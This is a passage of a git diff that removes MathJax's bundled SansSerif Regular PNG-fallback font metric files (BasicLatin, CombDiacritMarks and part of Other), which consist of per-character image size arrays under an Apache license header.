],8211:[[4,1,-1],[5,1,-2],[5,1,-2],[6,1,-3],[7,1,-3],[9,3,-3],[10,2,-5],[12,2,-6],[14,3,-7],[17,3,-8],[20,3,-9],[24,4,-11],[28,5,-13],[33,5,-15]],8212:[[7,1,-1],[9,1,-2],[10,1,-2],[12,1,-3],[14,1,-3],[17,3,-3],[20,2,-5],[24,2,-6],[28,3,-7],[33,3,-8],[40,3,-9],[47,4,-11],[56,5,-13],[66,5,-15]],8216:[[2,2,-3],[2,2,-4],[2,3,-5],[3,4,-5],[3,4,-5],[4,4,-8],[4,4,-10],[5,6,-11],[6,6,-14],[7,8,-15],[8,9,-18],[9,10,-22],[11,13,-26],[13,15,-30]],8217:[[2,2,-3],[2,2,-4],[2,3,-5],[3,3,-6],[3,3,-6],[4,4,-8],[4,5,-9],[5,6,-11],[6,7,-13],[7,8,-15],[8,9,-18],[9,10,-22],[11,13,-26],[13,15,-30]],8220:[[4,2,-3],[4,2,-4],[5,3,-5],[6,4,-5],[7,4,-5],[8,4,-8],[10,4,-10],[11,6,-11],[13,6,-14],[16,8,-15],[19,9,-18],[22,10,-22],[26,13,-26],[31,15,-30]],8221:[[3,2,-3],[3,2,-4],[4,3,-5],[4,3,-6],[5,3,-6],[6,4,-8],[7,5,-9],[8,6,-11],[9,7,-13],[11,8,-15],[13,9,-18],[16,10,-22],[18,13,-26],[22,15,-30]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Other.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/unpacked/BasicLatin.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/unpacked/BasicLatin.js
deleted file mode 100644
index ac344848..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/unpacked/BasicLatin.js
+++ /dev/null
@@ -1,385 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/BasicLatin.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_SansSerif": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x21: [  // EXCLAMATION MARK
-      [2,5,0],[2,6,0],[3,8,0],[3,9,0],[3,9,0],[4,12,0],[5,14,0],[5,17,0],
-      [6,20,0],[7,23,0],[9,27,0],[10,32,0],[12,39,0],[14,45,0]
-    ],
-    0x22: [  // QUOTATION MARK
-      [3,2,-3],[3,2,-4],[4,3,-5],[4,3,-6],[5,3,-6],[6,4,-8],[7,5,-9],[8,6,-11],
-      [9,7,-13],[11,8,-15],[13,9,-18],[16,10,-22],[18,13,-26],[22,15,-30]
-    ],
-    0x23: [  // NUMBER SIGN
-      [6,6,1],[7,8,2],[8,10,2],[10,12,3],[11,12,3],[13,15,3],[16,18,4],[19,22,5],
-      [22,25,5],[26,29,6],[31,35,8],[37,41,9],[43,50,11],[52,58,13]
-    ],
-    0x24: [  // DOLLAR SIGN
-      [4,6,0],[4,8,1],[5,9,0],[6,11,1],[7,11,1],[8,15,2],[9,16,1],[11,20,2],
-      [13,23,2],[15,27,2],[18,32,3],[21,37,2],[25,46,4],[30,53,4]
-    ],
-    0x25: [  // PERCENT SIGN
-      [6,5,0],[7,7,0],[8,9,0],[10,10,0],[11,10,0],[13,16,1],[16,17,1],[19,19,1],
-      [22,23,2],[26,27,2],[31,32,2],[37,37,3],[43,46,3],[52,53,4]
-    ],
-    0x26: [  // AMPERSAND
-      [5,5,0],[6,6,0],[7,8,0],[9,9,0],[10,9,0],[12,12,0],[14,14,0],[17,19,1],
-      [20,22,1],[23,25,1],[28,27,0],[33,34,1],[39,43,2],[46,49,2]
-    ],
-    0x27: [  // APOSTROPHE
-      [2,2,-3],[2,2,-4],[2,3,-5],[3,3,-6],[3,3,-6],[4,4,-8],[4,5,-9],[5,6,-11],
-      [6,7,-13],[7,8,-15],[8,9,-18],[9,10,-22],[11,13,-26],[13,15,-30]
-    ],
-    0x28: [  // LEFT PARENTHESIS
-      [3,7,2],[3,9,2],[4,11,3],[4,14,3],[5,14,3],[6,18,4],[7,20,5],[8,24,6],
-      [10,29,7],[11,33,8],[14,40,10],[16,46,11],[19,57,14],[22,66,16]
-    ],
-    0x29: [  // RIGHT PARENTHESIS
-      [3,7,2],[3,9,2],[4,11,3],[4,14,3],[5,14,3],[6,18,4],[7,20,5],[8,24,6],
-      [9,29,7],[11,33,8],[13,40,10],[15,46,11],[18,57,14],[21,66,16]
-    ],
-    0x2A: [  // ASTERISK
-      [4,3,-2],[4,4,-3],[5,5,-3],[6,6,-4],[7,6,-4],[8,8,-5],[9,9,-6],[11,11,-7],
-      [13,13,-9],[15,15,-10],[18,18,-12],[21,21,-14],[25,26,-17],[29,30,-20]
-    ],
-    0x2B: [  // PLUS SIGN
-      [5,5,1],[6,6,1],[8,8,1],[9,9,1],[10,9,1],[12,12,1],[14,14,2],[17,16,2],
-      [20,19,2],[24,22,3],[28,27,3],[34,31,4],[40,38,5],[48,44,5]
-    ],
-    0x2C: [  // COMMA
-      [2,2,1],[2,3,2],[2,4,2],[3,4,2],[3,4,2],[4,4,2],[4,5,3],[5,6,3],
-      [6,7,4],[7,8,4],[8,9,5],[9,11,6],[11,13,7],[13,15,8]
-    ],
-    0x2D: [  // HYPHEN-MINUS
-      [2,1,-1],[3,1,-1],[3,1,-2],[4,1,-2],[4,1,-2],[5,3,-2],[6,3,-3],[7,2,-4],
-      [8,3,-5],[10,3,-6],[11,3,-7],[13,4,-9],[16,5,-11],[19,5,-12]
-    ],
-    0x2E: [  // FULL STOP
-      [2,1,0],[2,1,0],[2,2,0],[3,2,0],[3,2,0],[4,2,0],[4,2,0],[5,3,0],
-      [6,3,0],[7,4,0],[8,4,0],[9,5,0],[11,6,0],[13,7,0]
-    ],
-    0x2F: [  // SOLIDUS
-      [4,7,2],[4,9,2],[5,11,3],[6,13,3],[7,13,3],[8,18,4],[9,20,5],[11,24,6],
-      [13,29,7],[15,33,8],[18,39,10],[21,46,11],[25,57,14],[30,66,16]
-    ],
-    0x30: [  // DIGIT ZERO
-      [4,5,0],[4,6,0],[5,8,0],[6,9,0],[7,9,0],[8,12,0],[9,14,0],[11,18,1],
-      [13,21,1],[16,24,1],[18,28,0],[22,32,1],[26,40,1],[31,46,1]
-    ],
-    0x31: [  // DIGIT ONE
-      [3,5,0],[4,6,0],[5,8,0],[6,9,0],[6,9,0],[8,12,0],[9,14,0],[10,17,0],
-      [12,20,0],[15,22,0],[17,27,0],[20,31,0],[24,39,0],[29,45,0]
-    ],
-    0x32: [  // DIGIT TWO
-      [4,5,0],[4,6,0],[5,8,0],[6,9,0],[7,9,0],[8,12,0],[9,14,0],[11,17,0],
-      [13,20,0],[15,22,0],[18,27,0],[21,31,0],[25,39,0],[30,45,0]
-    ],
-    0x33: [  // DIGIT THREE
-      [4,5,0],[4,6,0],[5,8,0],[6,9,0],[7,9,0],[8,12,0],[9,14,0],[11,18,1],
-      [13,21,1],[16,24,1],[18,27,0],[22,32,1],[26,40,1],[31,46,1]
-    ],
-    0x34: [  // DIGIT FOUR
-      [4,5,0],[4,6,0],[5,8,0],[6,9,0],[7,9,0],[8,12,0],[10,13,0],[11,16,0],
-      [14,19,0],[16,22,0],[19,26,0],[22,30,0],[27,38,0],[31,43,0]
-    ],
-    0x35: [  // DIGIT FIVE
-      [4,5,0],[4,6,0],[5,7,0],[6,9,0],[7,9,0],[8,13,0],[9,14,0],[11,17,1],
-      [13,20,1],[15,23,1],[18,27,0],[21,31,0],[25,39,1],[30,45,1]
-    ],
-    0x36: [  // DIGIT SIX
-      [4,5,0],[4,6,0],[5,8,0],[6,9,0],[7,9,0],[8,12,0],[9,14,0],[11,18,1],
-      [13,20,1],[16,24,1],[18,27,0],[22,32,2],[26,40,1],[31,46,1]
-    ],
-    0x37: [  // DIGIT SEVEN
-      [4,5,0],[4,6,0],[5,7,0],[6,9,0],[7,9,0],[8,12,0],[9,13,0],[11,16,0],
-      [13,19,0],[16,22,0],[18,26,0],[22,31,1],[26,38,1],[31,44,1]
-    ],
-    0x38: [  // DIGIT EIGHT
-      [4,5,0],[4,6,0],[5,8,0],[6,9,0],[7,9,0],[8,12,0],[9,14,0],[11,18,1],
-      [13,21,1],[15,24,1],[18,28,0],[22,32,1],[26,40,1],[30,46,1]
-    ],
-    0x39: [  // DIGIT NINE
-      [4,5,0],[4,6,0],[5,8,0],[6,9,0],[7,9,0],[8,12,0],[9,14,0],[11,18,1],
-      [13,20,1],[16,24,1],[18,27,0],[22,32,1],[26,40,1],[31,46,1]
-    ],
-    0x3A: [  // COLON
-      [2,3,0],[2,4,0],[2,5,0],[3,6,0],[3,6,0],[4,8,0],[4,9,0],[5,11,0],
-      [6,13,0],[7,15,0],[8,17,0],[9,20,0],[11,25,0],[13,29,0]
-    ],
-    0x3B: [  // SEMICOLON
-      [2,4,1],[2,6,2],[2,7,2],[3,8,2],[3,8,2],[4,10,2],[4,12,3],[5,14,3],
-      [6,17,4],[7,19,4],[8,22,5],[9,26,6],[11,32,7],[13,37,8]
-    ],
-    0x3D: [  // EQUALS SIGN
-      [5,2,0],[6,3,-1],[8,3,-1],[9,4,-1],[10,4,-1],[12,4,-2],[15,5,-2],[17,6,-3],
-      [20,8,-3],[24,10,-3],[29,10,-5],[34,11,-6],[40,14,-7],[48,16,-9]
-    ],
-    0x3F: [  // QUESTION MARK
-      [3,5,0],[4,6,0],[5,8,0],[5,9,0],[6,9,0],[7,12,0],[9,14,0],[10,17,0],
-      [12,20,0],[14,23,0],[17,27,0],[20,33,0],[23,40,0],[28,46,0]
-    ],
-    0x40: [  // COMMERCIAL AT
-      [5,5,0],[6,6,0],[6,8,0],[8,9,0],[9,9,0],[11,12,0],[12,14,0],[15,17,0],
-      [17,20,0],[21,23,0],[24,27,0],[29,33,0],[34,41,1],[41,47,1]
-    ],
-    0x41: [  // LATIN CAPITAL LETTER A
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[21,23,0],[25,27,0],[30,32,0],[36,39,0],[42,45,0]
-    ],
-    0x42: [  // LATIN CAPITAL LETTER B
-      [5,5,0],[6,8,1],[6,9,1],[8,11,1],[9,11,1],[11,14,1],[12,16,1],[15,19,1],
-      [17,22,1],[21,25,1],[24,29,1],[29,34,1],[34,41,1],[41,47,1]
-    ],
-    0x43: [  // LATIN CAPITAL LETTER C
-      [5,5,0],[5,6,0],[6,8,0],[7,9,0],[9,9,0],[10,12,0],[12,14,0],[14,17,0],
-      [17,20,0],[20,23,0],[23,27,0],[28,33,0],[33,41,1],[39,47,1]
-    ],
-    0x44: [  // LATIN CAPITAL LETTER D
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,9,0],[12,12,0],[13,14,0],[16,17,0],
-      [19,20,0],[22,23,0],[27,27,0],[31,32,0],[37,39,0],[44,45,0]
-    ],
-    0x45: [  // LATIN CAPITAL LETTER E
-      [4,5,0],[5,6,0],[6,8,0],[7,9,0],[8,9,0],[10,12,0],[11,14,0],[13,17,0],
-      [16,20,0],[19,23,0],[22,27,0],[26,32,0],[31,39,0],[37,45,0]
-    ],
-    0x46: [  // LATIN CAPITAL LETTER F
-      [4,5,0],[5,6,0],[6,8,0],[7,9,0],[8,9,0],[9,12,0],[11,14,0],[13,17,0],
-      [15,20,0],[18,23,0],[21,27,0],[25,32,0],[30,39,0],[35,45,0]
-    ],
-    0x47: [  // LATIN CAPITAL LETTER G
-      [5,5,0],[5,6,0],[6,8,0],[8,9,0],[9,9,0],[10,12,0],[12,14,0],[14,17,0],
-      [17,20,0],[20,23,0],[24,27,0],[28,33,0],[34,41,1],[40,47,1]
-    ],
-    0x48: [  // LATIN CAPITAL LETTER H
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[21,23,0],[25,27,0],[29,32,0],[35,39,0],[41,45,0]
-    ],
-    0x49: [  // LATIN CAPITAL LETTER I
-      [2,5,0],[2,6,0],[2,8,0],[3,9,0],[3,9,0],[4,12,0],[4,14,0],[5,17,0],
-      [6,20,0],[7,23,0],[8,27,0],[9,32,0],[11,39,0],[13,45,0]
-    ],
-    0x4A: [  // LATIN CAPITAL LETTER J
-      [3,5,0],[4,6,0],[4,8,0],[5,9,0],[6,9,0],[7,12,0],[8,14,0],[9,18,1],
-      [11,21,1],[13,24,1],[16,27,0],[18,33,1],[22,41,2],[26,47,2]
-    ],
-    0x4B: [  // LATIN CAPITAL LETTER K
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,9,0],[11,12,0],[13,14,0],[16,17,0],
-      [18,20,0],[22,23,0],[26,27,0],[31,32,0],[36,39,0],[43,45,0]
-    ],
-    0x4C: [  // LATIN CAPITAL LETTER L
-      [4,5,0],[5,6,0],[5,8,0],[6,9,0],[7,9,0],[9,12,0],[10,14,0],[12,17,0],
-      [14,20,0],[17,23,0],[20,27,0],[24,32,0],[28,39,0],[33,45,0]
-    ],
-    0x4D: [  // LATIN CAPITAL LETTER M
-      [6,5,0],[7,6,0],[8,8,0],[10,9,0],[11,9,0],[13,12,0],[16,14,0],[19,17,0],
-      [22,20,0],[26,23,0],[31,27,0],[37,32,0],[44,39,0],[52,45,0]
-    ],
-    0x4E: [  // LATIN CAPITAL LETTER N
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[21,23,0],[25,27,0],[29,32,0],[35,39,0],[41,45,0]
-    ],
-    0x4F: [  // LATIN CAPITAL LETTER O
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,9,0],[12,12,0],[14,14,0],[16,19,1],
-      [19,22,1],[23,25,1],[27,27,0],[32,34,1],[38,42,1],[45,49,1]
-    ],
-    0x50: [  // LATIN CAPITAL LETTER P
-      [5,5,0],[5,6,0],[6,8,0],[7,9,0],[9,9,0],[10,12,0],[12,14,0],[14,17,0],
-      [17,20,0],[20,23,0],[23,27,0],[28,32,0],[33,39,0],[39,45,0]
-    ],
-    0x51: [  // LATIN CAPITAL LETTER Q
-      [5,6,1],[6,7,1],[7,9,1],[8,11,2],[10,11,2],[12,14,2],[14,16,2],[16,21,3],
-      [19,25,4],[23,28,4],[27,31,4],[32,40,7],[38,48,7],[45,56,8]
-    ],
-    0x52: [  // LATIN CAPITAL LETTER R
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[21,23,0],[25,27,0],[29,32,0],[35,39,0],[41,45,0]
-    ],
-    0x53: [  // LATIN CAPITAL LETTER S
-      [4,5,0],[5,6,0],[5,8,0],[6,9,0],[7,9,0],[9,12,0],[10,14,0],[12,19,1],
-      [14,22,1],[17,25,1],[20,27,0],[24,34,1],[28,42,1],[33,49,1]
-    ],
-    0x54: [  // LATIN CAPITAL LETTER T
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[22,23,0],[26,27,0],[30,32,0],[36,39,0],[43,45,0]
-    ],
-    0x55: [  // LATIN CAPITAL LETTER U
-      [5,5,0],[5,6,0],[6,8,0],[8,9,0],[9,9,0],[10,12,0],[12,14,0],[14,18,1],
-      [17,21,1],[20,24,1],[24,27,0],[28,33,1],[34,41,2],[40,47,2]
-    ],
-    0x56: [  // LATIN CAPITAL LETTER V
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,9,0],[11,12,0],[13,14,0],[16,17,0],
-      [19,20,0],[22,23,0],[26,27,0],[31,32,0],[37,39,0],[43,45,0]
-    ],
-    0x57: [  // LATIN CAPITAL LETTER W
-      [7,5,0],[8,6,0],[10,8,0],[11,9,0],[13,9,0],[16,12,0],[19,14,0],[22,17,0],
-      [26,20,0],[31,23,0],[37,27,0],[44,32,0],[52,39,0],[62,45,0]
-    ],
-    0x58: [  // LATIN CAPITAL LETTER X
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,9,0],[11,12,0],[13,14,0],[16,17,0],
-      [19,20,0],[22,23,0],[26,27,0],[31,32,0],[37,39,0],[43,45,0]
-    ],
-    0x59: [  // LATIN CAPITAL LETTER Y
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,9,0],[11,12,0],[13,14,0],[16,17,0],
-      [19,20,0],[22,23,0],[26,27,0],[31,32,0],[37,39,0],[44,45,0]
-    ],
-    0x5A: [  // LATIN CAPITAL LETTER Z
-      [4,5,0],[5,6,0],[6,8,0],[7,9,0],[8,9,0],[10,12,0],[11,14,0],[13,17,0],
-      [16,20,0],[19,23,0],[22,27,0],[27,32,0],[31,39,0],[37,45,0]
-    ],
-    0x5B: [  // LEFT SQUARE BRACKET
-      [2,7,2],[3,9,2],[3,11,3],[4,13,3],[4,13,3],[5,19,5],[6,20,5],[7,24,6],
-      [8,29,7],[9,33,8],[11,39,10],[13,46,11],[15,57,14],[18,65,16]
-    ],
-    0x5D: [  // RIGHT SQUARE BRACKET
-      [2,7,2],[2,9,2],[2,11,3],[3,13,3],[3,13,3],[4,19,5],[4,20,5],[5,24,6],
-      [6,29,7],[7,33,8],[8,39,10],[10,46,11],[11,57,14],[13,65,16]
-    ],
-    0x5E: [  // CIRCUMFLEX ACCENT
-      [3,1,-4],[4,2,-4],[5,2,-6],[5,2,-7],[6,2,-7],[7,3,-9],[9,4,-10],[10,4,-13],
-      [12,5,-15],[14,6,-17],[17,7,-20],[20,8,-24],[24,10,-29],[28,11,-34]
-    ],
-    0x5F: [  // LOW LINE
-      [4,2,1],[5,2,1],[5,2,1],[6,2,1],[7,2,1],[9,4,3],[10,4,3],[12,4,3],
-      [14,4,3],[17,5,4],[20,5,4],[24,6,5],[28,7,6],[33,8,7]
-    ],
-    0x61: [  // LATIN SMALL LETTER A
-      [3,3,0],[4,4,0],[4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],
-      [12,13,0],[14,15,0],[16,18,0],[19,21,0],[23,27,1],[27,31,1]
-    ],
-    0x62: [  // LATIN SMALL LETTER B
-      [4,5,0],[4,6,0],[5,8,0],[6,9,0],[7,9,0],[8,12,0],[10,14,0],[12,17,0],
-      [14,20,0],[16,23,0],[19,27,0],[23,32,0],[27,40,1],[32,46,1]
-    ],
-    0x63: [  // LATIN SMALL LETTER C
-      [3,3,0],[4,4,0],[5,5,0],[5,6,0],[6,6,0],[7,8,0],[9,9,0],[10,11,0],
-      [12,13,0],[14,15,0],[17,18,0],[20,21,0],[23,27,1],[28,32,1]
-    ],
-    0x64: [  // LATIN SMALL LETTER D
-      [4,5,0],[4,6,0],[5,8,0],[6,9,0],[7,9,0],[8,12,0],[9,14,0],[11,17,0],
-      [13,20,0],[15,23,0],[18,27,0],[21,32,0],[25,40,1],[30,46,1]
-    ],
-    0x65: [  // LATIN SMALL LETTER E
-      [3,3,0],[4,4,0],[5,5,0],[5,6,0],[6,6,0],[7,8,0],[9,9,0],[10,11,0],
-      [12,13,0],[14,15,0],[17,18,0],[20,21,0],[23,28,1],[28,31,1]
-    ],
-    0x66: [  // LATIN SMALL LETTER F
-      [3,5,0],[3,6,0],[4,8,0],[5,9,0],[5,9,0],[6,12,0],[7,14,0],[9,17,0],
-      [10,20,0],[12,23,0],[14,27,0],[17,33,0],[20,40,0],[23,46,0]
-    ],
-    0x67: [  // LATIN SMALL LETTER G
-      [4,4,1],[5,6,2],[5,7,2],[6,9,3],[7,9,3],[9,11,3],[10,13,4],[12,16,5],
-      [14,18,5],[16,21,6],[19,25,8],[23,30,10],[27,38,12],[32,44,14]
-    ],
-    0x68: [  // LATIN SMALL LETTER H
-      [4,5,0],[4,6,0],[5,8,0],[6,9,0],[7,9,0],[8,12,0],[9,14,0],[11,17,0],
-      [13,20,0],[15,23,0],[18,27,0],[21,32,0],[25,39,0],[29,45,0]
-    ],
-    0x69: [  // LATIN SMALL LETTER I
-      [2,5,0],[2,6,0],[2,8,0],[3,9,0],[3,9,0],[3,12,0],[4,14,0],[4,17,0],
-      [5,20,0],[6,23,0],[7,27,0],[8,31,0],[10,39,0],[12,45,0]
-    ],
-    0x6A: [  // LATIN SMALL LETTER J
-      [3,6,1],[3,8,2],[3,10,2],[4,12,3],[4,12,3],[5,15,3],[6,18,4],[7,22,5],
-      [8,25,5],[9,29,6],[11,35,8],[13,41,10],[15,51,12],[17,58,14]
-    ],
-    0x6B: [  // LATIN SMALL LETTER K
-      [4,5,0],[4,6,0],[5,8,0],[6,9,0],[7,9,0],[8,12,0],[10,14,0],[11,17,0],
-      [14,20,0],[16,23,0],[19,27,0],[22,32,0],[27,39,0],[31,45,0]
-    ],
-    0x6C: [  // LATIN SMALL LETTER L
-      [2,5,0],[2,6,0],[2,8,0],[2,9,0],[3,9,0],[3,12,0],[4,14,0],[4,17,0],
-      [5,20,0],[6,23,0],[7,27,0],[8,32,0],[10,39,0],[11,45,0]
-    ],
-    0x6D: [  // LATIN SMALL LETTER M
-      [5,3,0],[6,4,0],[7,5,0],[9,6,0],[10,6,0],[12,8,0],[14,9,0],[17,11,0],
-      [20,13,0],[24,15,0],[28,17,0],[34,20,0],[40,27,1],[47,31,1]
-    ],
-    0x6E: [  // LATIN SMALL LETTER N
-      [4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],
-      [13,13,0],[15,15,0],[18,17,0],[21,20,0],[25,26,0],[29,30,0]
-    ],
-    0x6F: [  // LATIN SMALL LETTER O
-      [4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,6,0],[8,8,0],[10,9,0],[11,11,0],
-      [14,13,0],[16,15,0],[19,18,0],[22,21,0],[27,28,1],[31,31,1]
-    ],
-    0x70: [  // LATIN SMALL LETTER P
-      [4,4,1],[4,6,2],[5,7,2],[6,9,3],[7,9,3],[9,11,3],[10,13,4],[12,16,5],
-      [14,18,5],[16,21,6],[19,26,8],[23,30,9],[27,37,11],[32,43,13]
-    ],
-    0x71: [  // LATIN SMALL LETTER Q
-      [4,4,1],[4,6,2],[5,7,2],[6,9,3],[7,9,3],[8,11,3],[9,13,4],[11,16,5],
-      [13,18,5],[15,21,6],[18,26,8],[21,30,9],[25,37,11],[30,43,13]
-    ],
-    0x72: [  // LATIN SMALL LETTER R
-      [3,3,0],[3,4,0],[4,5,0],[4,6,0],[5,6,0],[6,8,0],[7,9,0],[8,11,0],
-      [10,13,0],[11,15,0],[13,17,0],[16,21,0],[19,26,0],[22,30,0]
-    ],
-    0x73: [  // LATIN SMALL LETTER S
-      [3,3,0],[3,4,0],[4,5,0],[5,6,0],[5,6,0],[6,8,0],[8,9,0],[9,11,0],
-      [10,13,0],[12,15,0],[15,18,0],[17,21,0],[20,27,1],[24,31,1]
-    ],
-    0x74: [  // LATIN SMALL LETTER T
-      [3,4,0],[3,5,0],[4,7,0],[4,8,0],[5,8,0],[6,10,0],[7,12,0],[8,14,0],
-      [10,17,0],[11,19,0],[14,23,0],[16,27,0],[19,34,1],[22,39,1]
-    ],
-    0x75: [  // LATIN SMALL LETTER U
-      [4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],
-      [13,13,0],[15,15,0],[18,17,0],[21,20,0],[25,27,1],[30,31,1]
-    ],
-    0x76: [  // LATIN SMALL LETTER V
-      [4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],
-      [13,13,0],[15,15,0],[18,17,0],[21,20,0],[25,25,0],[30,29,0]
-    ],
-    0x77: [  // LATIN SMALL LETTER W
-      [5,3,0],[6,4,0],[7,5,0],[8,6,0],[10,6,0],[12,8,0],[14,9,0],[16,11,0],
-      [19,13,0],[22,15,0],[27,17,0],[32,20,0],[37,25,0],[44,29,0]
-    ],
-    0x78: [  // LATIN SMALL LETTER X
-      [4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],
-      [13,13,0],[16,15,0],[18,17,0],[22,20,0],[26,26,0],[31,30,0]
-    ],
-    0x79: [  // LATIN SMALL LETTER Y
-      [4,4,1],[4,6,2],[5,7,2],[6,9,3],[7,9,3],[8,11,3],[9,13,4],[11,16,5],
-      [13,18,5],[15,21,6],[18,25,8],[21,30,10],[25,37,12],[30,43,14]
-    ],
-    0x7A: [  // LATIN SMALL LETTER Z
-      [3,3,0],[4,4,0],[4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],
-      [12,13,0],[14,15,0],[16,17,0],[19,20,0],[23,26,0],[27,29,0]
-    ],
-    0x7E: [  // TILDE
-      [3,1,-1],[4,1,-2],[5,2,-2],[5,2,-3],[6,2,-3],[7,4,-3],[9,3,-4],[10,3,-5],
-      [12,4,-5],[14,5,-6],[17,6,-8],[20,6,-9],[23,8,-11],[28,9,-13]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/BasicLatin.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/unpacked/CombDiacritMarks.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/unpacked/CombDiacritMarks.js
deleted file mode 100644
index 94dd181c..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/unpacked/CombDiacritMarks.js
+++ /dev/null
@@ -1,77 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Regular/CombDiacritMarks.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_SansSerif": {
-    0x300: [  // COMBINING GRAVE ACCENT
-      [2,1,-4],[3,2,-4],[4,2,-6],[3,2,-7],[4,2,-7],[4,3,-9],[6,4,-10],[6,4,-13],
-      [7,5,-15],[8,6,-17],[10,7,-20],[11,8,-24],[13,10,-29],[15,11,-34]
-    ],
-    0x301: [  // COMBINING ACUTE ACCENT
-      [3,1,-4],[3,2,-4],[3,2,-6],[4,2,-7],[4,2,-7],[5,3,-9],[5,4,-10],[7,4,-13],
-      [7,5,-15],[8,6,-17],[9,7,-20],[12,8,-24],[13,10,-29],[15,11,-34]
-    ],
-    0x302: [  // COMBINING CIRCUMFLEX ACCENT
-      [3,1,-4],[4,2,-4],[5,2,-6],[5,2,-7],[5,2,-7],[6,3,-9],[8,4,-10],[9,4,-13],
-      [10,5,-15],[12,6,-17],[14,7,-20],[17,8,-24],[20,10,-29],[23,11,-34]
-    ],
-    0x303: [  // COMBINING TILDE
-      [3,1,-4],[4,1,-5],[5,2,-6],[5,3,-6],[5,2,-7],[6,3,-9],[8,3,-11],[9,3,-14],
-      [10,4,-16],[12,5,-18],[14,6,-21],[17,6,-25],[20,8,-31],[23,9,-35]
-    ],
-    0x304: [  // COMBINING MACRON
-      [3,1,-3],[4,1,-5],[5,1,-6],[6,2,-6],[6,2,-6],[7,3,-9],[8,2,-11],[9,2,-13],
-      [11,3,-16],[13,3,-18],[15,4,-22],[18,4,-25],[21,5,-31],[25,6,-36]
-    ],
-    0x306: [  // COMBINING BREVE
-      [3,1,-4],[4,2,-4],[5,2,-6],[6,3,-6],[5,3,-6],[7,4,-8],[8,4,-10],[9,4,-13],
-      [10,6,-14],[13,6,-17],[15,8,-19],[17,9,-23],[20,11,-28],[25,12,-33]
-    ],
-    0x307: [  // COMBINING DOT ABOVE
-      [2,1,-4],[2,1,-5],[2,2,-6],[2,2,-7],[3,2,-7],[3,2,-10],[3,3,-11],[4,3,-14],
-      [4,3,-17],[4,4,-19],[5,5,-23],[6,5,-26],[7,6,-33],[7,7,-38]
-    ],
-    0x308: [  // COMBINING DIAERESIS
-      [3,1,-4],[4,1,-5],[3,2,-6],[4,2,-7],[5,2,-7],[6,2,-10],[6,2,-12],[8,3,-14],
